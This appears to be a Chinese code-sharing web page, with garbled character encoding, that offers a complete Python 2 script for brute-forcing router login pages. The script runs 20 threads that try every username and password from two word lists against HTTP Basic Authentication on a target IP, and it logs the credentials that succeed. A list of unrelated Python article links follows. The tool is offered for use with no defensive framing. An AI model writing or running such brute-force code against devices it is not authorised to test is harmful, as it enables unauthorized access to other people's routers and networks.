python實(shí)現(xiàn)多線程暴力破解登陸路由器功能代碼分享
運(yùn)行時請在其目錄下添加user.txt passwd.txt兩文件。否則會報錯。程序沒有加異常處理。代碼比較挫.....
#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):
def __init__(self,queue,passwd):
threading.Thread.__init__(self)
self.queue=queue
self.passwordlist=passwd
def run(self):
self.user=queue.get()
for self.passwd in self.passwordlist:
request = urllib2.Request("http://"+target)
psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
request.add_header('Authorization', psw_base64)
try:
response = urllib2.urlopen(request)
print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
fp3 = open('log.txt','a')
fp3.write(self.user+'||'+self.passwd+'\r\n')
fp3.close()
except urllib2.HTTPError:
print "[-]password:%s Error!" % (self.passwd)
if __name__ == '__main__':
print '''
#######################################################
# #
# Routing brute force tool #
# #
# by:well #
# #
#######################################################
'''
passwordlist = []
line = 20
threads = []
global target
target = raw_input("input ip:")
fp =open("user.txt")
fp2=open("passwd.txt")
for user in fp.readlines():
queue.put(user.split('\n')[0])
for passwd in fp2.readlines():
passwordlist.append(passwd.split('\n')[0])
#print passwordlist
fp.close()
fp2.close()
for i in range(line):
a = Rout_thread(queue,passwordlist)
a.start()
threads.append(a)
for j in threads:
j.join()
- python用裝飾器自動注冊Tornado路由詳解
- Python3控制路由器——使用requests重啟極路由.py
- Python 中urls.py:URL dispatcher(路由配置文件)詳解
- Python操作RabbitMQ服務(wù)器實(shí)現(xiàn)消息隊列的路由功能
- python 3.5實(shí)現(xiàn)檢測路由器流量并寫入txt的方法實(shí)例
- python實(shí)現(xiàn)dijkstra最短路由算法
- Python Django基礎(chǔ)二之URL路由系統(tǒng)
- Python采用socket模擬TCP通訊的實(shí)現(xiàn)方法
- 用Python實(shí)現(xiàn)一個簡單的多線程TCP服務(wù)器的教程
- Python實(shí)現(xiàn)TCP探測目標(biāo)服務(wù)路由軌跡的原理與方法詳解
相關(guān)文章
Python3 Tkinkter + SQLite實(shí)現(xiàn)登錄和注冊界面
這篇文章主要為大家詳細(xì)介紹了Python3 Tkinkter + SQLite實(shí)現(xiàn)登錄和注冊界面,文中示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下2019-11-11
Python基于OpenCV庫Adaboost實(shí)現(xiàn)人臉識別功能詳解
這篇文章主要介紹了Python基于OpenCV庫Adaboost實(shí)現(xiàn)人臉識別功能,結(jié)合實(shí)例形式分析了Python下載與安裝OpenCV庫及相關(guān)人臉識別操作實(shí)現(xiàn)技巧,需要的朋友可以參考下2018-08-08
python中copy()與deepcopy()的區(qū)別小結(jié)
接觸python有一段時間了,一直沒有系統(tǒng)的學(xué)習(xí)過,也對copy,deepcoy傻傻的分不清,故抽出時間來理一下。 下面這篇文章主要給大家介紹了關(guān)于python中copy()與deepcopy()的區(qū)別的相關(guān)資料,需要的朋友可以參考下2018-08-08
Python?numpy中np.random.seed()的詳細(xì)用法實(shí)例
在學(xué)習(xí)人工智能時,大量的使用了np.random.seed(),利用隨機(jī)數(shù)種子,使得每次生成的隨機(jī)數(shù)相同,下面這篇文章主要給大家介紹了關(guān)于Python?numpy中np.random.seed()的詳細(xì)用法,需要的朋友可以參考下2022-08-08
Python動態(tài)配置管理Dynaconf的實(shí)現(xiàn)示例詳解
這篇文章主要為大家介紹了Python動態(tài)配置管理Dynaconf實(shí)現(xiàn)示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-07-07

